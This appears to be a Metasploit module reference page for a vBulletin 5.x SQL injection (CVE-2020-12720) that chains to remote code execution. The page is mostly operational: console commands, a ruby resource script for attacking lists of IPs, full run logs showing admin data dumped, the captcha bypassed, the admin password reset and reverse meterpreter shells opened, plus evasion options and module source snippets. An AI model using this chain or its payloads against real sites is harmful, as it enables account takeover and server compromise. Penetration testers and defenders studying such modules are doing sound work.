vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/vbulletin_getindexablecontent metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection
Module: exploit/multi/http/vbulletin_getindexablecontent
Source code: modules/exploits/multi/http/vbulletin_getindexablecontent.rb
Disclosure date: 2020-03-12
Last modification time: 2021-05-13 04:01:03 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-12720
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier This module uses the getIndexableContent vulnerability to reset the administrators password, it then uses the administrators login information to achieve RCE on the target. This module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
Using vbulletin_getindexablecontent against a single host
Normally, you can use exploit/multi/http/vbulletin_getindexablecontent this way:
msf > use exploit/multi/http/vbulletin_getindexablecontent
msf exploit(vbulletin_getindexablecontent) > show targets
... a list of targets ...
msf exploit(vbulletin_getindexablecontent) > set TARGET target-id
msf exploit(vbulletin_getindexablecontent) > show options
... show and set options ...
msf exploit(vbulletin_getindexablecontent) > exploit
Using vbulletin_getindexablecontent against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vbulletin_getindexablecontent will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/vbulletin_getindexablecontent")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
vBulletin A popular PHP bulletin board and blog web application. This module has been tested successfully against vBulletin 5.6.1 running on Ubuntu Linux 19.04
Description
This module exploits a SQL injection vulnerability present in vBulletin 5.2.0 through 5.6.1 in the
getIndexableContent
function. This vulnerability is triggered through the nodeId
variable and
can be reached through multiple paths (listed below) but is exploited in this module utilizing the
/ajax/api/content_infraction/getIndexableContent
path.
- /ajax/api/content_video/getIndexableContent
- /ajax/api/content_text/getIndexableContent
- /ajax/api/content_report/getIndexableContent
- /ajax/api/content_redirect/getIndexableContent
- /ajax/api/content_privatemessage/getIndexableContent
- /ajax/api/content_poll/getIndexableContent
- /ajax/api/content_photo/getIndexableContent
- /ajax/api/content_link/getIndexableContent
- /ajax/api/content_infraction/getIndexableContent
- /ajax/api/content_gallery/getIndexableContent
- /ajax/api/content_event/getIndexableContent
- /ajax/api/content_channel/getIndexableContent
- /ajax/api/content_attach/getIndexableContent
Each path listed above reaches the getIndexableContent
function within the /core/vb/library/content.php
file. The SQL injection attack used utilizes a UNION query in order to leak data back in the response
rawtext
field.
Leveraging getContentIndexable SQL injection for RCE
The exploit begins by attempting to get a nodeid
for use in the SQL injection attack, this can be supplied
by the user within the NODE
module option, or if not supplied, the value is brute-forced within the bounds
of the MINNODE
and MAXNODE
module options. After acquiring a valid nodeid
, the exploit attempts to obtain
the vBulletin install's table prefix. This is done by using the getIndexableContent
SQL injection vulnerability
to query the INFORMATION_SCHEMA
table and get a result we expect (to determine if there is a prefix attached).
In the module we use the language
table for this process. After getting the table prefix we can begin dumping
the table data, we start with the administrator user id, username, token, and email. These are used later in the
process to make a lost password request and can also be used to backup the administrator user's data prior to the
destructive change that will happen when the password is changed later in the module. After acquiring the
administrator info the script begins the to gather other pieces needed to submit a lost password request. This
part can vary between installs but involves a form of "human verification" along with an administrator's email.
The module will attempt to determine the human verification (or captcha) type, then determine if a bypass or solve
is possible. There are 4 total types of human verification, an image (GD or ImageMagic based), a Question/Answer
(which is stored as a regular expression), Recaptcha2 (an external api based captcha), and disabled.
If an
Image
(GD or ImageMagic based) human verification is selected, the module can bypass it and requires no interaction. This is done by querying the database for the image contents using the SQL injection vulnerability.If the
Question/Answer
human verification is selected, the module will attempt to submit the answer retrieved from the database utilizing the SQL injection vulnerability. This can sometimes fail and require manual intervention if a complex regular expression is used but the answer is provided through the modules output.If the
Recaptcha2
human verification method is selected, the module will fail with a message along with an administrators email to use for a lost password request.If
Disabled
is chosen, the script will work without action.
After bypassing the human verification the script will attempt to send a lost password request, this will send
an email to the administrator. If the human verification request fails, the module can be configured to skip the
human verification and lost password steps. This is done by setting the modules MANUALLOSTPASS
option to true,
this however does require that just prior to running the exploit the lost password request is made. If the
administrator completes the request, the activation token will be removed from the database and the next step of
the reset will fail. After the lost password request is made, the module then attempts to retrieve the Activation
ID from the database using the SQL injection vulnerability. When all of the above is completed, the administrators
password can finally be reset. The password is changed to a random 10-16 character alphanumeric password which is
displayed in the modules output.
The module can now begin to leverage the administrator access for remote command execution. This begins by first creating
a new widget instance, this widget instance is of a widget_php
type (a special type that allows for php code embedded
within). After the widget instance is created, the module then attempts to modify the widget to add our selected payload.
The widget is then ready to use and is added to a new page. This page is created with a randomly generated 10 to 16
character alphanumeric url. The payload and attack is then ready to execute and the module makes a final request in the
attack process to execute the PHP payload. Upon successful completion, the page is deleted from the vBulletin install.
Verification Steps
- Do:
use exploit/multi/http/vbulletin_getindexablecontent
- Do:
set RHOSTS [IP]
- Do:
set VHOST [HOSTNAME]
- Do:
set TARGETURI [PATH]
- Do:
set PAYLOAD [PAYLOADNUM]
- Do:
run
Options
MANUALLOSTPASS
A boolean value used to determine if the lost password request should be automated or will be performed manually. Default: false
NODE
A valid node id value for the vBulletin install. When provided, this value is used instead of that acquired by brute-forcing.
MINNODE
A minimum nodeid value to begin with when brute-forcing for a valid node id. Default: 1
MAXNODE
A maximum nodeid value to end with when brute-forcing for a valid node id. Default: 200
TARGETURI
The base URI path of vBulletin. Default: /
Scenarios
msf5 > use exploit/multi/http/vbulletin_getindexablecontent
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local
RHOSTS => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local
VHOST => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5
TARGETURI => /vb5
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2
msf5 exploit(multi/http/vbulletin_getindexablecontent) > check
[*] 192.168.1.100:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/vbulletin_getindexablecontent) > run
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Brute forcing to find a valid node id.
[+] Sucessfully found node at id 1
[*] Attempting to determine the vBulletin table prefix.
[*] Performing SQL injection on target to retrieve 'table_name' from 'information_schema.columns'.
[+] Sucessfully retrieved table to get prefix from vb5_language.
[*] Performing SQL injection on target to retrieve 'userid' from 'vb5_administrator'.
[*] Performing SQL injection on target to retrieve 'username' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'token' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'email' from 'vb5_user'.
[+] Retrieved administrator uid: 1 user: administrator email: [email protected] and password: $2y$15$IKz0ra/N2WrJr4BZZMExIOwIET.4Tz8Wni20BMEHjG/A.k9tuOK.W
[*] Sending request to '/vb5/ajax/api/hv/fetchHvType' to get human verification type.
[+] Retrieved HV/captcha type of 'Image'.
[*] Making request to '/vb5/ajax/api/hv/generateToken' to retrieve HV token.
[+] Retrieved '85885c3fafb61b91cb3d2959e13ffe07' human verification token.
[*] Using HV token '85885c3fafb61b91cb3d2959e13ffe07' and SQLinjection to determine HV answer.
[*] Performing SQL injection on target to retrieve 'answer' from 'vb5_humanverify'.
[+] Retrieved '4w8CPc' answer to HV token '85885c3fafb61b91cb3d2959e13ffe07'.
[*] Making request to '/vb5/auth/lostpw' to begin lost password process.
[*] Performing SQL injection on target to retrieve 'activationid' from 'vb5_useractivation'.
[*] Sending reset password request to '/vb5/auth/reset-password'.
[+] User with userid '1' successfully reset password to 'dSxTtxI7yh'.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator .
[*] Making request to '/vb5/ajax/activate-sitebuilder' to activate site-builder functionality.
[+] Successfully enabled site-builder functionality.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator cplogin.
[*] Making request to '/vb5/ajax/api/widget/saveNewWidgetInstance' to create new widget.
[+] Created new widget instance.
[*] Making request to '/vb5/ajax/api/widget/saveAdminConfig' to add payload to widget.
[+] Successfully added payload to widget.
[*] Sending request to '/vb5/admin/savepage' to save new page at 'OToB9nTU'.
[+] Page succesfully create and should be accessible at '/vb5/OToB9nTU'.
[+] Executing PHP payload (230 bytes) at /vb5/OToB9nTU.
[*] Sending request to '/vb5/OToB9nTU' to execute payload.
[*] Sending delete page request to '/vb5/ajax/api/page/delete'.
[+] Successfully deleted page with pageid: 148
[*] Started bind TCP handler against 192.168.1.100:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.100:4444) at 2020-05-22 21:24:42 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Go back to menu.
Msfconsole Usage
Here is how the multi/http/vbulletin_getindexablecontent exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/vbulletin_getindexablecontent
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show info
Name: vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection
Module: exploit/multi/http/vbulletin_getindexablecontent
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2020-03-12
Provided by:
Charles Fol <[email protected]>
Zenofex <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MANUALLOSTPASS false no true if an administrator lost password request has already been sent.
MAXNODE 200 yes Valid Node ID
MINNODE 1 yes Valid Node ID
NODE no Valid Node ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to vBulletin
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a SQL injection vulnerability found in
vBulletin 5.6.1 and earlier This module uses the getIndexableContent
vulnerability to reset the administrators password, it then uses the
administrators login information to achieve RCE on the target. This
module has been tested successfully on VBulletin Version 5.6.1 on
Ubuntu Linux distribution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-12720
Module Options
This is a complete list of options available in the multi/http/vbulletin_getindexablecontent exploit:
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show options
Module options (exploit/multi/http/vbulletin_getindexablecontent):
Name Current Setting Required Description
---- --------------- -------- -----------
MANUALLOSTPASS false no true if an administrator lost password request has already been sent.
MAXNODE 200 yes Valid Node ID
MINNODE 1 yes Valid Node ID
NODE no Valid Node ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to vBulletin
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/vbulletin_getindexablecontent exploit:
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show advanced
Module advanced options (exploit/multi/http/vbulletin_getindexablecontent):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/vbulletin_getindexablecontent module can exploit:
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/vbulletin_getindexablecontent exploit:
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/vbulletin_getindexablecontent exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Could not determine the vBulletin table prefix.
- response
- errors
- errors
- errors
- errors
- MINNODE can't be major than MAXNODE.
- errors
- Could not get a valid node id for the vBulletin install.
- Could not retrieve administrator uid, username, email and token.
- Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).
- Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (<ADMIN_EMAIL>)
- Could not retrieve human verification hash or answer.
- Could not retrieve human verification question hash.
- Could not retrieve human verification question id.
- Could not retrieve human verification question or answer.
- Site requires captcha that we cannot bypass.
- Could not retrieve activation id for forgot password request.
- Error attempting to reset password with activation id '<ACTIVATION_ID>'.
- Could not login with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.
- Could not activate site builder.
- Could not login to CP with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.
- Could not create new widget instance.
- Could not save payload modifications into widget instance.
- Could not save newly created page with malicious widget.
- Could not delete page (cleanup phase).
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not determine the vBulletin table prefix.
Here is a relevant code snippet related to the "Could not determine the vBulletin table prefix." error message:
117: def get_table_prefix(node_id)
118: print_status('Attempting to determine the vBulletin table prefix.')
119: table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")
120:
121: unless table_name && table_name.split('language').index
122: fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
123: end
124:
125: tbl_prefix = table_name.split('language')[0]
126: print_good("Sucessfully retrieved table to get prefix from #{table_name}.")
127:
response
Here is a relevant code snippet related to the "response" error message:
155:
156: return false unless res && res.code == 200
157:
158: parsed_resp = res.get_json_document
159:
160: return false if parsed_resp['response'] && parsed_resp['response']['errors']
161:
162: true
163: end
164:
165: # Attempts to login to vBulletin install
errors
Here is a relevant code snippet related to the "errors" error message:
217: 'isAjaxTemplateRenderWithData' => 'true',
218: 'securitytoken' => sec_token.to_s
219: }
220: })
221:
222: return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
223:
224: print_good('Successfully enabled site-builder functionality.')
225: true
226: end
227:
errors
Here is a relevant code snippet related to the "errors" error message:
268: 'data[code]' => payload.encoded.to_s,
269: 'securitytoken' => sec_token.to_s
270: }
271: })
272:
273: return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
274:
275: print_good('Successfully added payload to widget.')
276:
277: true
278: end
errors
Here is a relevant code snippet related to the "errors" error message:
318: 'pageid' => pageid.to_s,
319: 'securitytoken' => login_token.to_s
320: }
321: })
322:
323: return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
324:
325: print_good("Successfully deleted page with pageid: #{pageid}")
326:
327: true
328: end
errors
Here is a relevant code snippet related to the "errors" error message:
353: 'vars_post' => {
354: 'hash' => hash.to_s
355: }
356: })
357:
358: unless res && res.code == 200 && res.body.to_s !~ /"errors"/
359: return nil
360: end
361:
362: res.body.to_s.tr('"', '')
363: end
MINNODE can't be major than MAXNODE.
Here is a relevant code snippet related to the "MINNODE can't be major than MAXNODE." error message:
418: def brute_force_node
419: min = datastore['MINNODE']
420: max = datastore['MAXNODE']
421:
422: if min > max
423: print_error("MINNODE can't be major than MAXNODE.")
424: return nil
425: end
426:
427: for node_id in min..max
428: if exists_node?(node_id)
errors
Here is a relevant code snippet related to the "errors" error message:
445:
446: unless res && res.code == 200
447: return nil
448: end
449:
450: return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
451:
452: print_good("Sucessfully found node at id #{id}")
453: true
454: end
455:
Could not get a valid node id for the vBulletin install.
Here is a relevant code snippet related to the "Could not get a valid node id for the vBulletin install." error message:
491:
492: # Performs all exploit functionality
493: def exploit
494: # Get node_id for requests
495: node_id = get_node
496: fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id
497:
498: # Get vBulletin table prefix
499: table_prfx = get_table_prefix(node_id)
500:
501: # Get admin info (email, uid, token)
Could not retrieve administrator uid, username, email and token.
Here is a relevant code snippet related to the "Could not retrieve administrator uid, username, email and token." error message:
499: table_prfx = get_table_prefix(node_id)
500:
501: # Get admin info (email, uid, token)
502: admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
503: unless admin_uid && admin_user && admin_token && admin_email
504: fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
505: end
506: print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")
507:
508: if !datastore['MANUALLOSTPASS']
509: # Determine HV type
Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).
Here is a relevant code snippet related to the "Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS)." error message:
507:
508: if !datastore['MANUALLOSTPASS']
509: # Determine HV type
510: hv_type = get_hv_type
511:
512: fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
513:
514: fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
515:
516: # Generate HV token and get answer
517: if hv_type == 'Image' && hv_type != 'Disabled'
Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (<ADMIN_EMAIL>)
Here is a relevant code snippet related to the "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (<ADMIN_EMAIL>)" error message:
509: # Determine HV type
510: hv_type = get_hv_type
511:
512: fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
513:
514: fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
515:
516: # Generate HV token and get answer
517: if hv_type == 'Image' && hv_type != 'Disabled'
518: hv_hash = get_hv_hash
519: hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
Could not retrieve human verification hash or answer.
Here is a relevant code snippet related to the "Could not retrieve human verification hash or answer." error message:
515:
516: # Generate HV token and get answer
517: if hv_type == 'Image' && hv_type != 'Disabled'
518: hv_hash = get_hv_hash
519: hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
520: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
521:
522: elsif hv_type == 'Question' && hv_type != 'Disabled'
523: hv_hash = get_hv_hash
524: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:
Could not retrieve human verification question hash.
Here is a relevant code snippet related to the "Could not retrieve human verification question hash." error message:
519: hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
520: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
521:
522: elsif hv_type == 'Question' && hv_type != 'Disabled'
523: hv_hash = get_hv_hash
524: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:
526: ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
527: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:
529: hv_question = get_hv_question(hv_hash)
Could not retrieve human verification question id.
Here is a relevant code snippet related to the "Could not retrieve human verification question id." error message:
522: elsif hv_type == 'Question' && hv_type != 'Disabled'
523: hv_hash = get_hv_hash
524: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:
526: ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
527: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:
529: hv_question = get_hv_question(hv_hash)
530: hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
